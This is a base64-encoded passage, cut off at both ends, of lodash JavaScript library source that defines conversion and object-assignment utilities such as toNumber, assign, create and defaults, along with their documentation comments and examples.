OiAwO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENvbnZlcnRzIGB2YWx1ZWAgdG8gYSBudW1iZXIuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHByb2Nlc3MuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgbnVtYmVyLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnRvTnVtYmVyKDMuMik7XG4gICAgICogLy8gPT4gMy4yXG4gICAgICpcbiAgICAgKiBfLnRvTnVtYmVyKE51bWJlci5NSU5fVkFMVUUpO1xuICAgICAqIC8vID0+IDVlLTMyNFxuICAgICAqXG4gICAgICogXy50b051bWJlcihJbmZpbml0eSk7XG4gICAgICogLy8gPT4gSW5maW5pdHlcbiAgICAgKlxuICAgICAqIF8udG9OdW1iZXIoJzMuMicpO1xuICAgICAqIC8vID0+IDMuMlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRvTnVtYmVyKHZhbHVlKSB7XG4gICAgICBpZiAodHlwZW9mIHZhbHVlID09ICdudW1iZXInKSB7XG4gICAgICAgIHJldHVybiB2YWx1ZTtcbiAgICAgIH1cbiAgICAgIGlmIChpc1N5bWJvbCh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIE5BTjtcbiAgICAgIH1cbiAgICAgIGlmIChpc09iamVjdCh2YWx1ZSkpIHtcbiAgICAgICAgdmFyIG90aGVyID0gdHlwZW9mIHZhbHVlLnZhbHVlT2YgPT0gJ2Z1bmN0aW9uJyA/IHZhbHVlLnZhbHVlT2YoKSA6IHZhbHVlO1xuICAgICAgICB2YWx1ZSA9IGlzT2JqZWN0KG90aGVyKSA/IChvdGhlciArICcnKSA6IG90aGVyO1xuICAgICAgfVxuICAgICAgaWYgKHR5cGVvZiB2YWx1ZSAhPSAnc3RyaW5nJykge1xuICAgICAgICByZXR1cm4gdmFsdWUgPT09IDAgPyB2YWx1ZSA6ICt2YWx1ZTtcbiAgICAgIH1cbiAgICAgIHZhbHVlID0gYmFzZVRyaW0odmFsdWUpO1xuICAgICAgdmFyIGlzQmluYXJ5ID0gcmVJc0JpbmFyeS50ZXN0KHZhbHVlKTtcbiAgICAgIHJldHVybiAoaXNCaW5hcnkgfHwgcmVJc09jdGFsLnRlc3QodmFsdWUpKVxuICAgICAgICA/IGZyZWVQYXJzZUludCh2YWx1ZS5zbGljZSgyKSwgaXNCaW5hcnkgPyAyIDogOClcbiAgICAgICAgOiAocmVJc0JhZEhleC50ZXN0KHZhbHVlKSA/IE5BTiA6ICt2YWx1ZSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29udmVydHMgYHZhbHVlYCB0byBhIHBsYWluIG9iamVjdCBmbGF0dGVuaW5nIGluaGVyaXRlZCBlbnVtZXJhYmxlIHN0cmluZ1xuICAgICAqIGtleWVkIHByb3BlcnRpZXMgb2YgYHZhbHVlYCB0byBvd24gcHJvcGVydGllcyBvZiB0aGUgcGxhaW4gb2JqZWN0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIGNvbnZlcnRlZCBwbGFpbiBvYmplY3QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIEZvbygpIHtcbiAgICAgKiAgIHRoaXMuYiA9IDI7XG4gICAgICogfVxuICAgICAqXG4gICAgICogRm9vLnByb3RvdHlwZS5jID0gMztcbiAgICAgKlxuICAgICAqIF8uYXNzaWduKHsgJ2EnOiAxIH0sIG5ldyBGb28pO1xuICAgICAqIC8vID0+IHsgJ2EnOiAxLCAnYic6IDIgfVxuICAgICAqXG4gICAgICogXy5hc3NpZ24oeyAnYSc6IDEgfSwgXy50b1BsYWluT2JqZWN0KG5ldyBGb28pKTtcbiAgICAgKiAvLyA9PiB7ICdhJzogMSwgJ2InOiAyLCAnYyc6IDMgfVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRvUGxhaW5PYmplY3QodmFsdWUpIHtcbiAgICAgIHJldHVybiBjb3B5T2JqZWN0KHZhbHVlLCBrZXlzSW4odmFsdWUpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGEgc2FmZSBpbnRlZ2VyLiBBIHNhZmUgaW50ZWdlciBjYW4gYmUgY29tcGFyZWQgYW5kXG4gICAgICogcmVwcmVzZW50ZWQgY29ycmVjdGx5LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGNvbnZlcnRlZCBpbnRlZ2VyLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnRvU2FmZUludGVnZXIoMy4yKTtcbiAgICAgKiAvLyA9PiAzXG4gICAgICpcbiAgICAgKiBfLnRvU2FmZUludGVnZXIoTnVtYmVyLk1JTl9WQUxVRSk7XG4gICAgICogLy8gPT4gMFxuICAgICAqXG4gICAgICogXy50b1NhZmVJbnRlZ2VyKEluZmluaXR5KTtcbiAgICAgKiAvLyA9PiA5MDA3MTk5MjU0NzQwOTkxXG4gICAgICpcbiAgICAgKiBfLnRvU2FmZUludGVnZXIoJzMuMicpO1xuICAgICAqIC8vID0+IDNcbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0b1NhZmVJbnRlZ2VyKHZhbHVlKSB7XG4gICAgICByZXR1cm4gdmFsdWVcbiAgICAgICAgPyBiYXNlQ2xhbXAodG9JbnRlZ2VyKHZhbHVlKSwgLU1BWF9TQUZFX0lOVEVHRVIsIE1BWF9TQUZFX0lOVEVHRVIpXG4gICAgICAgIDogKHZhbHVlID09PSAwID8gdmFsdWUgOiAwKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGEgc3RyaW5nLiBBbiBlbXB0eSBzdHJpbmcgaXMgcmV0dXJuZWQgZm9yIGBudWxsYFxuICAgICAqIGFuZCBgdW5kZWZpbmVkYCB2YWx1ZXMuIFRoZSBzaWduIG9mIGAtMGAgaXMgcHJlc2VydmVkLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGNvbnZlcnRlZCBzdHJpbmcuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udG9TdHJpbmcobnVsbCk7XG4gICAgICogLy8gPT4gJydcbiAgICAgKlxuICAgICAqIF8udG9TdHJpbmcoLTApO1xuICAgICAqIC8vID0+ICctMCdcbiAgICAgKlxuICAgICAqIF8udG9TdHJpbmcoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiAnMSwyLDMnXG4gICAgICovXG4gICAgZnVuY3Rpb24gdG9TdHJpbmcodmFsdWUpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA9PSBudWxsID8gJycgOiBiYXNlVG9TdHJpbmcodmFsdWUpO1xuICAgIH1cblxuICAgIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuICAgIC8qKlxuICAgICAqIEFzc2lnbnMgb3duIGVudW1lcmFibGUgc3RyaW5nIGtleWVkIHByb3BlcnRpZXMgb2Ygc291cmNlIG9iamVjdHMgdG8gdGhlXG4gICAgICogZGVzdGluYXRpb24gb2JqZWN0LiBTb3VyY2Ugb2JqZWN0cyBhcmUgYXBwbGllZCBmcm9tIGxlZnQgdG8gcmlnaHQuXG4gICAgICogU3Vic2VxdWVudCBzb3VyY2VzIG92ZXJ3cml0ZSBwcm9wZXJ0eSBhc3NpZ25tZW50cyBvZiBwcmV2aW91cyBzb3VyY2VzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIG11dGF0ZXMgYG9iamVjdGAgYW5kIGlzIGxvb3NlbHkgYmFzZWQgb25cbiAgICAgKiBbYE9iamVjdC5hc3NpZ25gXShodHRwczovL21kbi5pby9PYmplY3QvYXNzaWduKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEwLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgZGVzdGluYXRpb24gb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7Li4uT2JqZWN0fSBbc291cmNlc10gVGhlIHNvdXJjZSBvYmplY3RzLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgYG9iamVjdGAuXG4gICAgICogQHNlZSBfLmFzc2lnbkluXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIEZvbygpIHtcbiAgICAgKiAgIHRoaXMuYSA9IDE7XG4gICAgICogfVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gQmFyKCkge1xuICAgICAqICAgdGhpcy5jID0gMztcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBGb28ucHJvdG90eXBlLmIgPSAyO1xuICAgICAqIEJhci5wcm90b3R5cGUuZCA9IDQ7XG4gICAgICpcbiAgICAgKiBfLmFzc2lnbih7ICdhJzogMCB9LCBuZXcgRm9vLCBuZXcgQmFyKTtcbiAgICAgKiAvLyA9PiB7ICdhJzogMSwgJ2MnOiAzIH1cbiAgICAgKi9cbiAgICB2YXIgYXNzaWduID0gY3JlYXRlQXNzaWduZXIoZnVuY3Rpb24ob2JqZWN0LCBzb3VyY2UpIHtcbiAgICAgIGlmIChpc1Byb3RvdHlwZShzb3VyY2UpIHx8IGlzQXJyYXlMaWtlKHNvdXJjZSkpIHtcbiAgICAgICAgY29weU9iamVjdChzb3VyY2UsIGtleXMoc291cmNlKSwgb2JqZWN0KTtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuICAgICAgZm9yICh2YXIga2V5IGluIHNvdXJjZSkge1xuICAgICAgICBpZiAoaGFzT3duUHJvcGVydHkuY2FsbChzb3VyY2UsIGtleSkpIHtcbiAgICAgICAgICBhc3NpZ25WYWx1ZShvYmplY3QsIGtleSwgc291cmNlW2tleV0pO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmFzc2lnbmAgZXhjZXB0IHRoYXQgaXQgaXRlcmF0ZXMgb3ZlciBvd24gYW5kXG4gICAgICogaW5oZXJpdGVkIHNvdXJjZSBwcm9wZXJ0aWVzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIG11dGF0ZXMgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAYWxpYXMgZXh0ZW5kXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIGRlc3RpbmF0aW9uIG9iamVjdC5cbiAgICAgKiBAcGFyYW0gey4uLk9iamVjdH0gW3NvdXJjZXNdIFRoZSBzb3VyY2Ugb2JqZWN0cy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBzZWUgXy5hc3NpZ25cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gRm9vKCkge1xuICAgICAqICAgdGhpcy5hID0gMTtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBCYXIoKSB7XG4gICAgICogICB0aGlzLmMgPSAzO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIEZvby5wcm90b3R5cGUuYiA9IDI7XG4gICAgICogQmFyLnByb3RvdHlwZS5kID0gNDtcbiAgICAgKlxuICAgICAqIF8uYXNzaWduSW4oeyAnYSc6IDAgfSwgbmV3IEZvbywgbmV3IEJhcik7XG4gICAgICogLy8gPT4geyAnYSc6IDEsICdiJzogMiwgJ2MnOiAzLCAnZCc6IDQgfVxuICAgICAqL1xuICAgIHZhciBhc3NpZ25JbiA9IGNyZWF0ZUFzc2lnbmVyKGZ1bmN0aW9uKG9iamVjdCwgc291cmNlKSB7XG4gICAgICBjb3B5T2JqZWN0KHNvdXJjZSwga2V5c0luKHNvdXJjZSksIG9iamVjdCk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmFzc2lnbkluYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBjdXN0b21pemVyYFxuICAgICAqIHdoaWNoIGlzIGludm9rZWQgdG8gcHJvZHVjZSB0aGUgYXNzaWduZWQgdmFsdWVzLiBJZiBgY3VzdG9taXplcmAgcmV0dXJuc1xuICAgICAqIGB1bmRlZmluZWRgLCBhc3NpZ25tZW50IGlzIGhhbmRsZWQgYnkgdGhlIG1ldGhvZCBpbnN0ZWFkLiBUaGUgYGN1c3RvbWl6ZXJgXG4gICAgICogaXMgaW52b2tlZCB3aXRoIGZpdmUgYXJndW1lbnRzOiAob2JqVmFsdWUsIHNyY1ZhbHVlLCBrZXksIG9iamVjdCwgc291cmNlKS5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBtdXRhdGVzIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGFsaWFzIGV4dGVuZFdpdGhcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgZGVzdGluYXRpb24gb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7Li4uT2JqZWN0fSBzb3VyY2VzIFRoZSBzb3VyY2Ugb2JqZWN0cy5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY3VzdG9taXplcl0gVGhlIGZ1bmN0aW9uIHRvIGN1c3RvbWl6ZSBhc3NpZ25lZCB2YWx1ZXMuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKiBAc2VlIF8uYXNzaWduV2l0aFxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBjdXN0b21pemVyKG9ialZhbHVlLCBzcmNWYWx1ZSkge1xuICAgICAqICAgcmV0dXJuIF8uaXNVbmRlZmluZWQob2JqVmFsdWUpID8gc3JjVmFsdWUgOiBvYmpWYWx1ZTtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiB2YXIgZGVmYXVsdHMgPSBfLnBhcnRpYWxSaWdodChfLmFzc2lnbkluV2l0aCwgY3VzdG9taXplcik7XG4gICAgICpcbiAgICAgKiBkZWZhdWx0cyh7ICdhJzogMSB9LCB7ICdiJzogMiB9LCB7ICdhJzogMyB9KTtcbiAgICAgKiAvLyA9PiB7ICdhJzogMSwgJ2InOiAyIH1cbiAgICAgKi9cbiAgICB2YXIgYXNzaWduSW5XaXRoID0gY3JlYXRlQXNzaWduZXIoZnVuY3Rpb24ob2JqZWN0LCBzb3VyY2UsIHNyY0luZGV4LCBjdXN0b21pemVyKSB7XG4gICAgICBjb3B5T2JqZWN0KHNvdXJjZSwga2V5c0luKHNvdXJjZSksIG9iamVjdCwgY3VzdG9taXplcik7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmFzc2lnbmAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgY3VzdG9taXplcmBcbiAgICAgKiB3aGljaCBpcyBpbnZva2VkIHRvIHByb2R1Y2UgdGhlIGFzc2lnbmVkIHZhbHVlcy4gSWYgYGN1c3RvbWl6ZXJgIHJldHVybnNcbiAgICAgKiBgdW5kZWZpbmVkYCwgYXNzaWdubWVudCBpcyBoYW5kbGVkIGJ5IHRoZSBtZXRob2QgaW5zdGVhZC4gVGhlIGBjdXN0b21pemVyYFxuICAgICAqIGlzIGludm9rZWQgd2l0aCBmaXZlIGFyZ3VtZW50czogKG9ialZhbHVlLCBzcmNWYWx1ZSwga2V5LCBvYmplY3QsIHNvdXJjZSkuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgbXV0YXRlcyBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBPYmplY3RcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBkZXN0aW5hdGlvbiBvYmplY3QuXG4gICAgICogQHBhcmFtIHsuLi5PYmplY3R9IHNvdXJjZXMgVGhlIHNvdXJjZSBvYmplY3RzLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjdXN0b21pemVyXSBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIGFzc2lnbmVkIHZhbHVlcy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBzZWUgXy5hc3NpZ25JbldpdGhcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gY3VzdG9taXplcihvYmpWYWx1ZSwgc3JjVmFsdWUpIHtcbiAgICAgKiAgIHJldHVybiBfLmlzVW5kZWZpbmVkKG9ialZhbHVlKSA/IHNyY1ZhbHVlIDogb2JqVmFsdWU7XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIGRlZmF1bHRzID0gXy5wYXJ0aWFsUmlnaHQoXy5hc3NpZ25XaXRoLCBjdXN0b21pemVyKTtcbiAgICAgKlxuICAgICAqIGRlZmF1bHRzKHsgJ2EnOiAxIH0sIHsgJ2InOiAyIH0sIHsgJ2EnOiAzIH0pO1xuICAgICAqIC8vID0+IHsgJ2EnOiAxLCAnYic6IDIgfVxuICAgICAqL1xuICAgIHZhciBhc3NpZ25XaXRoID0gY3JlYXRlQXNzaWduZXIoZnVuY3Rpb24ob2JqZWN0LCBzb3VyY2UsIHNyY0luZGV4LCBjdXN0b21pemVyKSB7XG4gICAgICBjb3B5T2JqZWN0KHNvdXJjZSwga2V5cyhzb3VyY2UpLCBvYmplY3QsIGN1c3RvbWl6ZXIpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB2YWx1ZXMgY29ycmVzcG9uZGluZyB0byBgcGF0aHNgIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDEuMC4wXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHsuLi4oc3RyaW5nfHN0cmluZ1tdKX0gW3BhdGhzXSBUaGUgcHJvcGVydHkgcGF0aHMgdG8gcGljay5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHBpY2tlZCB2YWx1ZXMuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogW3sgJ2InOiB7ICdjJzogMyB9IH0sIDRdIH07XG4gICAgICpcbiAgICAgKiBfLmF0KG9iamVjdCwgWydhWzBdLmIuYycsICdhWzFdJ10pO1xuICAgICAqIC8vID0+IFszLCA0XVxuICAgICAqL1xuICAgIHZhciBhdCA9IGZsYXRSZXN0KGJhc2VBdCk7XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIG9iamVjdCB0aGF0IGluaGVyaXRzIGZyb20gdGhlIGBwcm90b3R5cGVgIG9iamVjdC4gSWYgYVxuICAgICAqIGBwcm9wZXJ0aWVzYCBvYmplY3QgaXMgZ2l2ZW4sIGl0cyBvd24gZW51bWVyYWJsZSBzdHJpbmcga2V5ZWQgcHJvcGVydGllc1xuICAgICAqIGFyZSBhc3NpZ25lZCB0byB0aGUgY3JlYXRlZCBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMi4zLjBcbiAgICAgKiBAY2F0ZWdvcnkgT2JqZWN0XG4gICAgICogQHBhcmFtIHtPYmplY3R9IHByb3RvdHlwZSBUaGUgb2JqZWN0IHRvIGluaGVyaXQgZnJvbS5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW3Byb3BlcnRpZXNdIFRoZSBwcm9wZXJ0aWVzIHRvIGFzc2lnbiB0byB0aGUgb2JqZWN0LlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG5ldyBvYmplY3QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIFNoYXBlKCkge1xuICAgICAqICAgdGhpcy54ID0gMDtcbiAgICAgKiAgIHRoaXMueSA9IDA7XG4gICAgICogfVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gQ2lyY2xlKCkge1xuICAgICAqICAgU2hhcGUuY2FsbCh0aGlzKTtcbiAgICAgKiB9XG4gICAgICpcbiAgICAgKiBDaXJjbGUucHJvdG90eXBlID0gXy5jcmVhdGUoU2hhcGUucHJvdG90eXBlLCB7XG4gICAgICogICAnY29uc3RydWN0b3InOiBDaXJjbGVcbiAgICAgKiB9KTtcbiAgICAgKlxuICAgICAqIHZhciBjaXJjbGUgPSBuZXcgQ2lyY2xlO1xuICAgICAqIGNpcmNsZSBpbnN0YW5jZW9mIENpcmNsZTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBjaXJjbGUgaW5zdGFuY2VvZiBTaGFwZTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICovXG4gICAgZnVuY3Rpb24gY3JlYXRlKHByb3RvdHlwZSwgcHJvcGVydGllcykge1xuICAgICAgdmFyIHJlc3VsdCA9IGJhc2VDcmVhdGUocHJvdG90eXBlKTtcbiAgICAgIHJldHVybiBwcm9wZXJ0aWVzID09IG51bGwgPyByZXN1bHQgOiBiYXNlQXNzaWduKHJlc3VsdCwgcHJvcGVydGllcyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQXNzaWducyBvd24gYW5kIGluaGVyaXRlZCBlbnVtZXJhYmxlIHN0cmluZyBrZXllZCBwcm9wZXJ0aWVzIG9mIHNvdXJjZVxuICAgICAqIG9iamVjdHMgdG8gdGhlIGRlc3RpbmF0aW9uIG9iamVjdCBmb3IgYWxsIGRlc3RpbmF0aW9uIHByb3BlcnRpZXMgdGhhdFxuICAgICAqIHJlc29sdmUgdG8gYHVuZGVmaW5lZGAuIFNvdXJjZSBvYmplY3RzIGFyZSBhcHBsaWVkIGZyb20gbGVmdCB0byByaWdodC5cbiAgICAgKiBPbmNlIGEgcHJvcGVydHkgaXMgc2V0LCBhZGRpdGlvbmFsIHZhbHVlcyBvZiB0aGUgc2FtZSBwcm9wZXJ0eSBhcmUgaWdub3JlZC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBtdXRhdGVzIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIGRlc3RpbmF0aW9uIG9iamVjdC5cbiAgICAgKiBAcGFyYW0gey4uLk9iamVjdH0gW3NvdXJjZXNdIFRoZSBzb3VyY2Ugb2JqZWN0cy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBzZWUgXy5kZWZhdWx0c0RlZXBcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5kZWZhdWx0cyh7ICdhJzogMSB9LCB7ICdiJzogMiB9LCB7ICdhJzogMyB9KTtcbiAgICAgKiAvLyA9PiB7ICdhJzogMSwgJ2InOiAyIH1cbiAgICAgKi9cbiAgICB2YXIgZGVmYXVsdHMgPSBiYXNlUmVzdChmdW5jdGlvbihvYmplY3QsIHNvdXJjZXMpIHtcbiAgICAgIG9iamVjdCA9IE9iamVjdChvYmplY3QpO1xuXG4gICAgICB2YXIgaW5kZXggPSAtMTtcbiAgICAgIHZhciBsZW5ndGggPSBzb3VyY2VzLmxlbmd0aDtcbiAgICAgIHZhciBndWFyZCA9IGxlbmd0aCA+IDIgPyBzb3VyY2VzWzJdIDogdW5kZWZpbmVkO1xuXG4gICAgICBpZiAoZ3VhcmQgJiYgaXNJdGVyYXRlZUNhbGwoc291cmNlc1swXSwgc291cmNlc1sxXSwgZ3VhcmQpKSB7XG4gICAgICAgIGxlbmd0aCA9IDE7XG4gICAgICB9XG5cbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciBzb3VyY2UgPSBzb3VyY2VzW2luZGV4XTtcbiAgICAgICAgdmFyIHByb3BzID0ga2V5c0luKHNvdXJjZSk7XG4gICAgICAgIHZhciBwcm9wc0luZGV4ID0gLTE7XG4gICAgICAgIHZhciBwcm9wc0xlbmd0aCA9IHByb3BzLmxlbmd0aDtcblxuICAgICAgICB3aGlsZSAoKytwcm9wc0luZGV4IDwgcHJvcHNMZW5ndGgpIHtcbiAgICAgICAgICB2YXIga2V5ID0gcHJvcHNbcHJvcHNJbmRleF07XG4gICAgICAgICAgdmFyIHZhbHVlID0gb2JqZWN0W2tleV07XG5cbiAgICAgICAgICBpZiAodmFsdWUgPT09IHVuZGVmaW5lZCB8fFxuICAgICAgICAgICAgICAoZXEodmFsdWUsIG9iamVjdFByb3RvW2tleV0pICYmICFoYXNPd25Qcm9wZXJ0eS5jYWxsKG9iamVjdCwga2V5KSkpIHtcbiAgICAgICAgICAgIG9iamVjdFtrZXldID0gc291cmNlW2tleV07XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBvYmplY3Q7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmRlZmF1bHRzYCBleGNlcHQgdGhhdCBpdCByZWN1cnNpdmVseSBhc3NpZ25zXG4gICAgICogZGVmYXVsdCBwcm9wZXJ0aWVzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIG11dGF0ZXMgYG9iamVjdGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4xMC4wXG4gICAgICogQGNhdGVnb3J5IE9iamVjdFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIGRlc3RpbmF0aW9uIG9iamVjdC5cbiAgICAgKiBAcGFyYW0gey4uLk9iamVjdH0gW3NvdXJjZXNdIFRoZSBzb3VyY2Ugb2JqZWN0cy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIGBvYmplY3RgLlxuICAgICAqIEBzZWUgXy5kZWZhdWx0c1xuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmRlZmF1bHRzRGVlcCh7ICdhJzogeyAnYic6IDIgfSB9LCB7ICdhJzogeyAnYic6IDEsICdjJzogMyB9IH0pO1xuICAgICAqIC8vID0+IHsgJ2EnOiB7ICdiJzogMiwgJ2MnOiAzIH0gfVxuICAgICAqL1xuICAgIHZhciBkZWZhdWx0c0RlZXAgPSBiYXNlUmVzdChmdW5jdGlvbihhcmdzKSB7XG4gICAgICBhcmdzLnB1c2godW5kZWZpbmVkLCBjdXN0b21EZWZhdWx0c01lcmdlKTtcbiAgICAgIHJldHVybiBhcHBseShtZXJnZVdpdGgsIHVu